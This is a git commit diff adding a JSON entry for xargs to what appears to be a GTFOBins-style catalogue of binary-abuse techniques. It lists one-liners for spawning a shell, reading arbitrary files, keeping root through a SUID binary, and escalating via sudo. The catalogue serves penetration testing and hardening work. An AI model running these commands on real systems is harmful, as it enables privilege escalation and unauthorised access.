add data for xargs
parent
83bab9e641
commit
6d529124bf
@ -0,0 +1,35 @@
|
||||
{
|
||||
"functions": {
|
||||
"shell": [
|
||||
{
|
||||
"description": "GNU version only.",
|
||||
"code": "xargs -a /dev/null sh"
|
||||
},
|
||||
{
|
||||
"code": "echo x | xargs -Iy sh -c 'exec sh 0<&1'"
|
||||
},
|
||||
{
|
||||
"description": "Read interactively from 'stdin'.",
|
||||
"code": "xargs -Ix sh -c 'exec sh 0<&1'\nx^D^D\n"
|
||||
}
|
||||
],
|
||||
"file-read": [
|
||||
{
|
||||
"description": "This works as long as the file does not contain the NUL character, also a trailing '$'\\n'' is added. The actual '/bin/echo' command is executed. GNU version only.",
|
||||
"code": "xargs -a [file] -0\n"
|
||||
}
|
||||
],
|
||||
"suid": [
|
||||
{
|
||||
"description": "GNU version only.",
|
||||
"code": "./xargs -a /dev/null sh -p"
|
||||
}
|
||||
],
|
||||
"sudo": [
|
||||
{
|
||||
"description": "GNU version only.",
|
||||
"code": "sudo xargs -a /dev/null sh"
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
Loading…
Reference in New Issue